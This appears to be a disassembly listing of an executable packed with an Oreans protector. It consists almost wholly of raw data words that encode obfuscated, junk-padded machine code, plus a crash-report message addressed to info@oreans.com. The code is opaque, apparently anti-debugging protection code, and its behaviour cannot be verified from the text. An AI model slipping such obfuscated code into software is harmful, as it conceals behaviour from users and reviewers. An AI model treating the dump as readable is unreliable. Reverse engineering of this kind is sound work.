		dd 4244481h, 1Ah, 0D5C35141h, 9C9E21Eh,	0D3BAAD7Ch, 835F2ED3h
		dd 721D5BDh, 850F0006h,	12h, 0BD83FE8Bh, 60A05D2h, 0C840F00h
		dd 66000000h, 39E9D38Bh, 66000011h, 0E9ECF2BFh,	449h, 8C0Fh
		dd 0C08B0000h, 0EE9h, 5469BA00h, 3130A3DDh, 9168AD35h
		dd 0E9700A7Ah, 0Ah, 0FEFF3E57h,	830CEB1Dh, 0BD83B144h
		dd 6073101h, 83097500h,	70A55BDh, 19740006h, 0C08B5350h
		dd 7D4B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h
		dd 55BD8358h, 6070Ah, 53501774h, 7D4B8h, 0AD858900h, 8D06072Bh
		dd 9B0E19Dh, 5BD3FF06h,	0C576B958h, 0BD8B0EB1h,	60721F1h
		dd 3F68C08Bh, 6A000F00h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 808C353h, 6A006Ah
		dd 3798D33h, 85890607h,	60708B5h, 17A595FFh, 9D090607h
		dd 6071C09h, 850FC085h,	6, 2F418D8Bh, 85890607h, 609F5CFh
		dd 5599D01h, 6A0607h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 19h, 0C9C35747h, 29795056h, 35DF8131h, 0F4D17BEh
		dd 68Bh, 79B58900h, 6A06071Ah, 10E900h,	0FA470000h, 739E56DFh
		dd 0B22F5274h, 98926EA2h, 6AE201h, 1A058D03h, 6A0607h
		dd 1AD8D09h, 6A0607h, 0AD858DF9h, 660609F7h, 0E5ADE781h
		dd 0CBBF0F50h, 1E0DB589h, 16A0607h, 7E8h, 7DCA1B00h, 4EB9F724h
		dd 11E9h, 82DE7E00h, 56BB26Eh, 81AFE01Dh, 98261C99h, 6A593E35h
		dd 0F8B46001h, 31016A61h, 71AA1B5h, 0D2816606h,	0FF680B43h
		dd 6A000F01h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 14F5C356h, 470CEF66h, 418D8BD5h
		dd 83060723h, 721D5BDh,	840F0006h, 41h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 0F8C35141h, 1DB2E0EAh
		dd 63486B77h, 0F62C858Dh, 0BD890609h, 6071AE9h,	3AE9h
		dd 81B58900h, 8B060721h, 707158Dh, 2858D06h, 6A0609F6h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 958DC353h, 0AA404076h, 0DA2EC2A1h, 50F9BF0Fh
		dd 22C5B589h, 66500607h, 0FFEAAEBFh, 9F5CFB5h, 0C2816606h
		dd 95FF5EA5h, 609F5BBh,	6860Fh,	9D090000h, 6071BC1h, 850FC085h
		dd 32h,	1235BD89h, 7E80607h, 73000000h,	2E260AC8h, 66604B76h
		dd 41A8C881h, 0E95A61F9h, 4Bh, 4860F60h, 66000000h, 81F757BBh
		dd 0E612ABC6h, 85896108h, 609F5D3h, 68F0Fh, 9D090000h
		dd 6070AE5h, 0F5D3B5FFh, 0F520609h, 0FF5AD6B7h,	7233995h
		dd 853BB106h, 0C850FC0h, 89000000h, 71991BDh, 0DDBD8906h
		dd 6A06072Eh, 6890F10h,	89000000h, 70C3985h, 0D5BD8306h
		dd 60721h, 61840Fh, 8B660000h, 2C858DD6h, 6A0609F6h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 308FC351h, 2571688Dh, 48086BB7h, 0E9958B60h,	0F060717h
		dd 681h, 18C68100h, 61130457h, 23E9h, 0FFB70F00h, 0EE8h
		dd 0CBF3D500h, 3FCC0419h, 1B568236h, 662F5B3Eh,	8D59D78Bh
		dd 9F60285h, 0D3BF0F06h, 0D9958950h, 0FF06070Fh, 9F5CFB5h
		dd 35BF6606h, 0C795FF1Fh, 810609F5h, 8E7689E7h,	0FC08510h
		dd 685h, 7DBD8B00h, 8906070Ah, 9F5D385h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0F03E7C8h, 6AFBB7h, 56D950Bh, 6A0607h, 28F0F50h, 60000000h
		dd 0B5FF5961h, 609F5D3h, 10800Fh, 0BE90000h, 66000000h
		dd 222E5AE9h, 6022CD03h, 95FF78ABh, 609F5BFh, 0BE9h, 0D1744800h
		dd 0A20C5CF7h, 71DF4B38h, 1BD19D89h, 0C0850607h, 6850Fh
		dd 9D890000h, 607322Dh,	0F5D3B5FFh, 6A0609h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 7899A5C3h
		dd 0B4FE0463h, 892A6C97h, 723A99Dh, 7DBD8B06h, 0FF060700h
		dd 7233995h, 5EB96606h,	0FC085CBh, 485h, 10B96600h, 8A006A71h
		dd 8068EEh, 85890000h, 607008Dh, 9E8036Ah, 56000000h, 0D6245625h
		dd 42022054h, 29006A59h, 718E5B5h, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0D2CC355h, 683B16FBh, 0C0000000h, 2B099D31h,	0B5FF0607h
		dd 609F64Bh, 13E8h, 0E50FAF00h,	0E88B2BDFh, 712244DEh
		dd 5E4FBA7Fh, 8CF38853h, 49BD0359h, 0FF06070Ch,	7011195h
		dd 0F1816606h, 13E9E3D8h, 0AC000000h, 4952D6FAh, 0E59EB0C8h
		dd 0A765F78h, 0CEB40704h, 0F883B157h, 0AC850FFFh, 0E8000005h
		dd 13h,	2A7A07Dh, 96A1B64Fh, 0AF4B68A7h, 0BCBED582h, 0FCC4560h
		dd 0FF59CBB7h, 0A00B985h, 83D78B06h, 0A00B9BDh,	840F0206h
		dd 3FCh, 22ED8589h, 858D0607h, 5AF59Fh,	6214BB60h
		dd 0F78B02A5h, 0FD0FF61h, 9D89F8B7h, 6070B31h, 0EFF2858Dh
		dd 6A005Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0ABC025C3h, 0D2E4C098h, 8D01DD2Dh, 6071A99h
		dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 252633C3h, 5968A5A6h, 29C08B4Ch, 7006D85h
		dd 1BD8306h, 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h
		dd 7D8h, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535017h, 7D8h,	2BAD8589h, 9D8D0607h, 609B0E1h
		dd 585BD3FFh, 8E9h, 427D900h, 0AD7873C2h, 0ACBA66EDh, 6AC08B34h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0D99AC350h, 30CB3C18h, 0B90D789h,	72F6D95h
		dd 0FE906h, 0CDD10000h,	0D79AD018h, 59BEE86Bh, 968354Ah
		dd 3F68EDh, 800F000Fh, 14h, 0FE9h, 36C46800h, 7A2AB869h
		dd 33E652F5h, 373C84E7h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 29F67EC3h, 7E9h, 0AF433D00h
		dd 25B356AAh, 0F280006Ah, 0A595FFC1h, 6A060717h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8537C350h, 0FDB589C0h, 89060731h, 9F5CF85h, 0CB8B6606h
		dd 0F01FF68h, 0CCC98100h, 8344A4FAh, 721D5BDh, 840F0006h
		dd 42h,	0AC58509h, 858D0607h, 609F62Ch,	22DF8152h, 5F4098DFh
		dd 49E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0E6D53ACBh, 14D4E07Ch, 0D36EB9E7h
		dd 858D61C6h, 609F602h,	0EE8h, 8855CF00h, 9B9C5B55h, 0C334BB02h
		dd 89934D45h, 705BD9Dh,	89505906h, 703ED95h, 0CFB5FF06h
		dd 0FF0609F5h, 9F5C795h, 0EE906h, 286F0000h, 88888268h
		dd 0C66E2EEEh, 0F7928774h, 0F5D38589h, 6A0609h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 7AAF53C3h, 608AA5B8h, 1C1BD31h, 0C7610607h, 7263D85h
		dd 6, 6D852900h, 83060733h, 9F5D3BDh, 840F0006h, 16Ch
		dd 0FF8DBA66h, 0F8B1858Dh, 0B5290609h, 6073121h, 35BD8950h
		dd 6A060715h, 68E0F01h,	8B000000h, 70C5595h, 0D3B5FF06h
		dd 0B60609F5h, 0FF7EB5AAh, 9F5CB95h, 6DBD8B06h,	0FF06071Ah
		dd 9F5D3B5h, 0BBCF8106h, 0FF7106A2h, 7233995h, 0D7B70F06h
		dd 0F01FF68h, 5858900h,	83060724h, 721D5BDh, 840F0006h
		dd 1Ah,	4887D781h, 858D440Eh, 609F62Ch,	0E9D38B66h, 1Ah
		dd 2D798589h, 858D0607h, 609F602h, 0FEDA8160h, 0B02D5EDh
		dd 702298Dh, 0F506106h,	288h, 0FFF98B00h, 9F5CFB5h, 0A1BD8906h
		dd 0FF060706h, 9F5C795h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 89F9C68Bh, 9F5D385h, 68F0F06h
		dd 89000000h, 71C8DBDh,	0D3B5FF06h, 0E90609F5h,	6, 4FCCB41Dh
		dd 0EC8ACBD0h, 0F5C395FFh, 6A0609h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 1DA462C3h
		dd 0A188E149h, 8B0FB1B0h, 6, 485B589h, 0BF0F0607h, 0D3B5FFCAh
		dd 6A0609F5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 0F476C350h, 7AD9A86h, 2181958Bh
		dd 0BD890607h, 6072CFDh, 233995FFh, 958B0607h, 6072AB9h
		dd 0FFF6EDE9h, 0D1BF0FFFh, 11CB5FFh, 9E9060Ah, 4B000000h
		dd 83D0372Bh, 94B31768h, 95FFDBB5h, 60701E1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0E7C35242h, 8D8B3159h
		dd 607102Dh, 858BD78Bh,	6071889h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0DDC35242h,	0E8B6F4E6h, 81CEA843h
		dd 9AD5C8E1h, 5D1E961h,	0BD890000h, 607053Dh, 0CE8h, 0F7279200h
		dd 4DFC68E2h, 0F3BB9F64h, 0ECBA6651h, 0B58D594Eh, 609F8D1h
		dd 2DCD9589h, 858D0607h, 609A6B5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0D8C35141h,	5A00E84Dh, 410C281h
		dd 66601CB7h, 8B4FADBFh, 0D0FF61F2h, 6880Fh, 8D890000h
		dd 60730B9h, 8D0F006Ah,	6, 26BD8589h, 95FF0607h, 6071F39h
		dd 0F38BD78Bh, 9E8h, 40991D00h,	0FEC604Dh, 0BD89ECD8h
		dd 6071B3Dh, 0B5858D5Ah, 6A0609A6h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D510C356h
		dd 0D58E2A84h, 95BD8B51h, 5A060729h, 0C88BD0FFh, 6E8006Ah
		dd 5F000000h, 7428EBD9h, 0C19589F1h, 5A06072Bh,	1F3995FFh
		dd 860F0607h, 2, 8F0FD38Bh, 17h, 12E9h,	91846A00h, 46ADB3DEh
		dd 23F5555Ah, 0F02F805Ah, 8BE4DAA6h, 4006BFC0h,	0BD834284h
		dd 6073101h, 83097500h,	70A55BDh, 19740006h, 0C08B5350h
		dd 7D9B8h, 0AD858900h, 8D06072Bh, 9B3F29Dh, 5BD3FF06h
		dd 55BD8358h, 6070Ah, 53501774h, 7D9B8h, 0AD858900h, 8D06072Bh
		dd 9B0E19Dh, 5BD3FF06h,	68B0F58h, 0F000000h, 89h, 0CB8B6600h
		dd 38B0Fh, 8B660000h, 8BC08BCEh, 958B50F9h, 6072669h, 8D8BD88Bh
		dd 607068Dh, 259D8D53h,	8B060706h, 8B038903h, 43895043h
		dd 0B59D8D50h, 8B060A00h, 5B038903h, 1EC9952Bh,	59510607h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8DD05BC3h, 0A00B585h, 0D68B6606h,	6A82B150h
		dd 8D8D8B60h, 8D06071Fh, 7062585h, 49BD0306h, 50060710h
		dd 1581958Bh, 6A0607h, 1AFD8D8Bh, 6A0607h, 0AB98D8Bh, 680607h
		dd 89000018h, 7176595h,	6A5306h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A9EE5DC3h, 0FDCF11F9h
		dd 5558D33h, 11E90607h,	61000000h, 87E77C3Bh, 9001B66Fh
		dd 81DD5202h, 5AA3BFh, 2B5995FFh, 9B50607h, 1DF195FFh
		dd 66600607h, 9CEEBB8h,	715119Dh, 0B5FF6106h, 60A011Ch
		dd 1F518D8Bh, 95FF0607h, 60701E1h, 12E8h, 10346A00h, 191DB4ACh
		dd 10E20F96h, 0EADF9E0Ah, 8B72709Dh, 70F4595h, 858D5906h
		dd 6070625h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0C4C35040h, 0D30466BBh,	0DE21109Fh, 998D8943h
		dd 0F060703h, 1182h, 0CE900h, 0DCB0000h, 9A75ADB0h, 0B940C57Ah
		dd 408B1051h, 79958918h, 0C706071Bh, 72C3D85h, 6, 0CF8B6600h
		dd 21D5BD83h, 0F000607h, 4484h,	8C3D00h, 830F0000h, 1E9h
		dd 13E9h, 9BC32200h, 4E8A339Bh,	83733B9Eh, 3DAD88DDh, 48FCF5C4h
		dd 3D5BD03h, 2CE90607h,	3000000h, 7237995h, 0F605306h
		dd 85h,	8F0F00h, 61000000h, 963D5Fh, 830F0000h,	1A5h, 98E101BFh
		dd 0B9BD013Ch, 8D060707h, 5AF59F85h, 0B9858900h, 0FF06070Ah
		dd 0CA8B66D0h, 0FE8h, 7A86D400h, 32A2CE59h, 0DD1535A9h
		dd 138DBDFAh, 0B99FBA66h, 0F2858D5Fh, 0B6005AEFh, 8BD0FF4Dh
		dd 12E8C0h, 50710000h, 531DF64Ah, 9EA0BE71h
		dd 719CB995h, 16CBCAD1h, 58C0Fh, 81660000h, 5A30ABCFh
		dd 3101BD83h, 75000607h, 55BD8309h, 6070Ah, 53501974h
		dd 0C6B8C08Bh, 8900000Bh, 72BAD85h, 0F29D8D06h,	0FF0609B3h
		dd 83585BD3h, 70A55BDh,	17740006h, 0C6B85350h, 8900000Bh
		dd 72BAD85h, 0E19D8D06h, 0FF0609B0h, 8B585BD3h,	7046195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 7902A16Ah, 7987210Bh, 6AC08B26h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 4F7FC350h, 6957B6CDh, 0F89145CFh, 0FFFF883h,	3B85h
		dd 0CE900h, 0A4080000h,	8DF01C83h, 0CCD5E8A8h, 85C7863Eh
		dd 60707F5h, 0
		dd 0E970DE80h, 12Eh, 8E9h, 53E6F200h, 0BF575C50h, 54E939h
		dd 8D890000h, 6072D09h,	0F01F883h, 4585h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 7C70A72Eh, 958B5251h, 60725D1h, 9D895F59h, 6072125h
		dd 102E9h, 0CE900h, 829E0000h, 0B4ADC9AEh, 70C29B5Ch, 8FE9D481h
		dd 60FFFFF1h, 1831B589h, 0B5010607h, 6070985h, 0FC08B61h
		dd 0E8Ah, 9E900h, 2F170000h, 0DC3476E1h, 836972C5h, 73101BDh
		dd 9750006h, 0A55BD83h,	74000607h, 8B535019h, 7DDB8C0h
		dd 85890000h, 6072BADh,	0B3F29D8Dh, 0D3FF0609h,	0BD83585Bh
		dd 6070A55h, 50177400h,	7DDB853h, 85890000h, 6072BADh
		dd 0B0E19D8Dh, 0D3FF0609h, 0B966585Bh, 6A0C41h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0F51FB5C3h, 0D67D9C65h, 8B0AD733h, 0BE8C0h, 8D610000h
		dd 0D3B008Fh, 0C4F1D7A0h, 0ECCD8029h, 0F183BA5Ah, 1E92D2Ah
		dd 0E9000002h, 6, 8ED1CD00h, 858DDFD2h,	609FEB9h, 0B18589F9h
		dd 81060A00h, 0D920CEDFh, 25E92Bh, 66600000h, 8640CB81h
		dd 48C0Fh, 0B9660000h, 8D61278Ch, 9FCC185h, 8940FC06h
		dd 0A00B185h, 0D8D8906h, 6A06070Ch, 0D5858D34h,	5006072Dh
		dd 0B1B5FFh, 6A060Ah, 19A595FFh, 0F8830607h, 62840F07h
		dd 66000001h, 0C3F6DB8Ch, 0FC850F04h, 0C6000000h, 71C4D85h
		dd 52685606h, 0FF9CA8B8h, 701A9B5h, 13858D06h, 0FF06073Ah
		dd 68046AD0h, 1000h, 6A646Ah, 8589D0FFh, 60A0124h, 1C4D85C6h
		dd 68470607h, 0EC18AC9Bh, 1A9B5FFh, 858D0607h, 6073A13h
		dd 0D0FFD0FFh, 85C6F08Bh, 6071C4Dh, 2661684Fh, 0B5FFC62Fh
		dd 6071589h, 3A13858Dh,	0D0FF0607h, 1209D8Dh, 6A53060Ah
		dd 0D0FF5628h, 75C085h,	1C4D85C6h, 68410607h, 0DB876498h
		dd 1589B5FFh, 858D0607h, 6073A13h, 8589D0FFh, 60A013Dh
		dd 1C4D85C6h, 684C0607h, 80A4E7A4h, 1589B5FFh, 858D0607h
		dd 6073A13h, 9D8BD0FFh,	60A0124h, 53045B8Dh, 1299D8Dh
		dd 6A53060Ah, 8BD0FF00h, 0A01249Dh, 103C706h, 0C7000000h
		dd 20C43h, 85C70000h, 6072F11h,	0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 60A0124h, 0FF006A53h, 0A0120B5h, 3D95FF06h, 0C6060A01h
		dd 71C4D85h, 97684506h,	0FF92A5F7h, 716BDB5h, 13858D06h
		dd 0FF06073Ah, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 0A01249Dh, 0C43C706h, 0
		dd 6A006Ah, 1249D8Bh, 6A53060Ah, 20B5FF00h, 0FF060A01h
		dd 0A013D95h, 20B5FF06h, 0FF060A01h, 71DF195h, 0FF006A06h
		dd 71F3995h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 75185884h, 0A1C89027h, 0FF59670h
		dd 9501C9B7h, 6071BC1h,	33FC858Dh, 0F281060Ah, 62958B89h
		dd 75B58950h, 89060718h, 70795BDh, 35FF6406h, 0
aWaTydi		db 'WْYd%',0
		align 10h
		dd 5E9h, 0B3EFB300h, 0BD83266Ch, 60732B9h, 38840F00h, 50000000h
		dd 5FD2B70Fh, 2EA9950Bh, 0BD830607h, 6071995h, 20850F01h
		dd 9000000h, 72D41B5h, 3DBD8006h, 60A05h, 0D850Fh, 8D8B0000h
		dd 6072B5Dh, 15CE9h, 33F98B00h,	6850FDBh, 89000000h, 70BB9BDh
		dd 8BC03306h, 72D21BDh,	3F0F4006h, 8F640B07h, 5, 4C48300h
		dd 9E9h, 4E8DE600h, 7CAFE59Fh, 0FB83229Bh, 11840FFFh, 89000000h
		dd 715118Dh, 109E906h, 0BD330000h, 6070AF9h, 89E9h, 244C8B00h
		dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
		dd 245C8BC3h, 0E8550Ch,	5D000000h, 341EED81h, 838B060Ah
		dd 0B8h, 3504858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6AC35242h, 3D8DEFEDh
		dd 31A9BD8Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0AD2131C3h, 33598D2Bh, 858D0607h
		dd 60A3414h, 731BD23h, 8B660607h, 85B550D7h, 35FF64h, 8B000000h
		dd 72F7995h, 800F6006h,	4, 65DBBF66h, 12E9h, 3DF83100h
		dd 0EBAFEA61h, 6570A636h, 8C425529h, 61D98B9Ah,	258964h
		dd 66000000h, 0B9443ABFh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h
		dd 0BA8685D4h, 34B640h,	5FE8EA81h, 81ED0034h, 4D5868FBh
		dd 0C70A7556h, 7294D85h, 106h, 58F6400h, 0
		dd 8B04C483h, 70F5995h,	0D88B6006h, 6850Fh, 0B5890000h
		dd 60701F9h, 8BC08B61h,	1BD83D3h, 60731h, 0BD830975h, 6070A55h
		dd 50197400h, 0B8C08B53h, 43Dh,	217D8589h, 9D8D0607h, 609B459h
		dd 585BD3FFh, 0A55BD83h, 74000607h, 0B8535017h,	43Dh, 217D8589h
		dd 9D8D0607h, 609B0FAh,	585BD3FFh, 14E9F8h, 3E3D0000h
		dd 0F630B205h, 0CEB098BBh, 6185249Bh, 0BFD1EC22h, 0C08B15F3h
		dd 13AE9h, 400h, 382E3100h, 3535h, 6 dup(0)
		db    0
		db 2 dup(0), 45h
aXceptionInform	db 'xception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		db 83h
		dd 70FDDBDh, 840F0006h,	12Dh, 0AF11858Dh, 8D500609h, 9AE7B85h
		dd 1685006h, 0FF800000h, 9AF2195h, 94858D06h, 50060A35h
		dd 359E858Dh, 6A50060Ah, 8D006A00h, 9AE8F85h, 0B5FF5006h
		dd 609AF11h, 54595FFh, 858D0607h, 60A3594h, 0A2858D50h
		dd 50060A35h, 6A006Ah, 0AEA1858Dh, 0FF500609h, 9AF11B5h
		dd 4595FF06h, 8D060705h, 0A359485h, 858D5006h, 60A35AEh
		dd 6A006A50h, 0EE858D00h, 500609AEh, 0AF11B5FFh, 95FF0609h
		dd 6070545h, 3594858Dh,	8D50060Ah, 0A35B685h, 6A5006h
		dd 858D006Ah, 609AF0Ch,	11B5FF50h, 0FF0609AFh, 7054595h
		dd 94858D06h, 50060A35h, 35B2858Dh, 6A50060Ah, 8D006A00h
		dd 9AEF585h, 0B5FF5006h, 609AF11h, 54595FFh, 858D0607h
		dd 60A3594h, 0A6858D50h, 50060A35h, 6A006Ah, 0AEFD858Dh
		dd 0FF500609h, 9AF11B5h, 4595FF06h, 8D060705h, 0A359485h
		dd 858D5006h, 60A35AAh,	6A006A50h, 4858D00h, 500609AFh
		dd 0AF11B5FFh, 95FF0609h, 6070545h, 0AF11B5FFh,	95FF0609h
		dd 6071D2Dh, 0A2E9h, 19BD8300h,	60704h,	95840Fh, 0BD830000h
		dd 6071995h, 11850F00h,	8B000000h, 729C995h, 0F8C28106h
		dd 0E900001Ch, 0Fh, 625958Dh, 528B0607h, 40C28134h, 893BD4C3h
		dd 72FB595h, 0B5BD8306h, 6072Fh, 55840Fh, 9D8B0000h, 6072FB5h
		dd 8B4CC383h, 9E858903h, 8B060A35h, 72FB59Dh, 50C38306h
		dd 8589038Bh, 60A35A2h,	2FB59D8Bh, 0C3830607h, 89038B54h
		dd 0A35AE85h, 0B59D8B06h, 8306072Fh, 38B58C3h, 35B28589h
		dd 9D8B060Ah, 6072FB5h,	8B5CC383h, 0A6858903h, 83060A35h
		dd 70FDDBDh, 850F0006h,	0Dh, 419BD83h, 0F000607h, 6884h
		dd 0B6B5FF00h, 0FF060A35h, 0A35AAB5h, 0A6B5FF06h, 0FF060A35h
		dd 0A35B2B5h, 0AEB5FF06h, 0FF060A35h, 0A35A2B5h, 9EB5FF06h
		dd 8D060A35h, 0A359885h, 858D5006h, 60A35D0h, 2D858D50h
		dd 50060727h, 1EB195FFh, 0C4830607h, 8D406A24h,	0A35BA85h
		dd 858D5006h, 607272Dh,	0FF006A50h, 719A595h, 0FF016A06h
		dd 71F3995h, 0E8C18B06h, 9, 91750A21h, 2E850BFDh, 6850F1Bh
		dd 81000000h, 8E1001F3h, 880F5F60h, 4, 59595650h, 7346C781h
		dd 0E9600000h, 11h, 0BD2E0F12h,	7148B9D9h, 3FEEFB05h, 0B3878BF8h
		dd 686104h, 66000000h, 4ED5F281h, 5870F58h, 60000000h
		dd 61F3B1F9h, 0E83834FFh, 12h, 658A5876h, 31660EFBh, 0ED030293h
		dd 6F9639EEh, 8160D28Fh, 8FE3F5D3h, 5E5A610Fh, 0EB3F3DBAh
		dd 9FEE810Ah, 0F37DB90h, 387h, 2DD18000h, 8F39F681h, 0F28139F3h
		dd 1C47CF77h, 0F1B5C681h, 0BA665DE9h, 34895A08h, 30C38007h
		dd 0E881D88Bh, 21C9D2ADh, 0C081D68Bh, 21C9D2A9h, 9E951h
		dd 431C0000h, 91199EFCh, 59C90C99h, 8D9CF881h, 850FFFFFh
		dd 0FFFFFF80h, 0C8F0Fh,	7E90000h, 45000000h, 58632CE6h
		dd 0E960AD31h, 0Fh, 0C5615E6Dh,	7144C325h, 80A7FEC9h, 8B14CF32h
		dd 816060C0h, 0D8841FCEh, 0F08B6638h, 0CF8B6661h, 1BD8361h
		dd 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h
		dd 40Eh, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h
		dd 74000607h, 0B8535017h, 40Eh,	2BAD8589h, 9D8D0607h, 609B0E1h
		dd 585BD3FFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	42C35141h, 645213AFh, 0DE81C56Ah, 3D1CD7A7h, 0D2BF0F57h
		dd 6AC08B59h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0CF17C355h, 776B3423h,	23BFBA79h
		dd 0BD830BC9h, 60732B9h, 3A840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A72BC357h, 0AE91B67h, 0A6000000h, 338FB6F5h, 0D5D5233Eh
		dd 0FEE9F5B7h, 81000001h, 0AA2624D1h, 0B9DF8C4Ah, 4C3A9AF3h
		dd 4C7F766h, 0E6850F00h, 0F8000001h, 0BFh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 527D00C1h, 0D18B66BEh, 9D8DE88Ah, 60A3CDEh, 8114F681h
		dd 0F9301A0h, 0F8Ah, 7E800h, 0FAD60000h, 44AB3CF8h, 5E595019h
		dd 13E850h, 13AD0000h, 2717EC28h, 0F8B42962h, 0D3B952A6h
		dd 0F9005D62h, 6160602Ah, 0C67713BAh, 935E6120h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 46C35141h, 6AC5845Eh
		dd 97E6815Ch, 64671ED0h, 35FFh,	0D9800000h, 0F78B6614h
		dd 258964h, 66000000h, 49DAEA81h, 0CDC48BFCh, 8A00EB01h
		dd 52006ACFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 2D6C7037h, 6CBDAC7h, 64F83331h, 58Fh, 0CE90000h
		dd 16000000h, 0BD54897Fh, 0F9448B77h, 837BA8E6h, 8F0F04C4h
		dd 0Bh,	6E9h, 569CA800h, 0B5DA64Dh, 0D2840FC0h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 6679C357h, 0B1B2C88Bh, 9E861h, 44B50000h
		dd 0F52D3A73h, 0F86D64EBh, 5DBD8D5Ah, 0E8060771h, 11h
		dd 3F7FDC06h, 69B08983h, 13018B62h, 0E566FADCh,	0C8BF0FB0h
		dd 1B859h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 42B20FC3h, 8A0FE7FFh, 13h, 0EE9h
		dd 397E6100h, 74DC3586h, 0DD1330D5h, 574E4AD8h,	10245C8Bh
		dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h
		dd 0B8h, 0C0335F02h, 16880FC3h,	57000000h, 0FE9h, 735D300h
		dd 1D021DDFh, 835DB707h, 2AB22767h, 99B96659h, 6A614Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0C2ED8FC3h, 56F36A82h, 60F38B66h, 0D8D98166h, 0E68166E3h
		dd 8B61BC50h, 6E9C0h, 3C130000h, 8A89EDB4h, 3101BD83h
		dd 75000607h, 55BD8309h, 6070Ah, 53501974h, 0EB8C08Bh
		dd 89000004h, 7217D85h,	599D8D06h, 0FF0609B4h, 83585BD3h
		dd 70A55BDh, 17740006h,	0EB85350h, 89000004h, 7217D85h
		dd 0FA9D8D06h, 0FF0609B0h, 6A585BD3h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F0DC351h
		dd 0B8Ch, 6E900h, 0F92A0000h, 9133D8DCh, 0D3B70F50h, 6AC08B59h
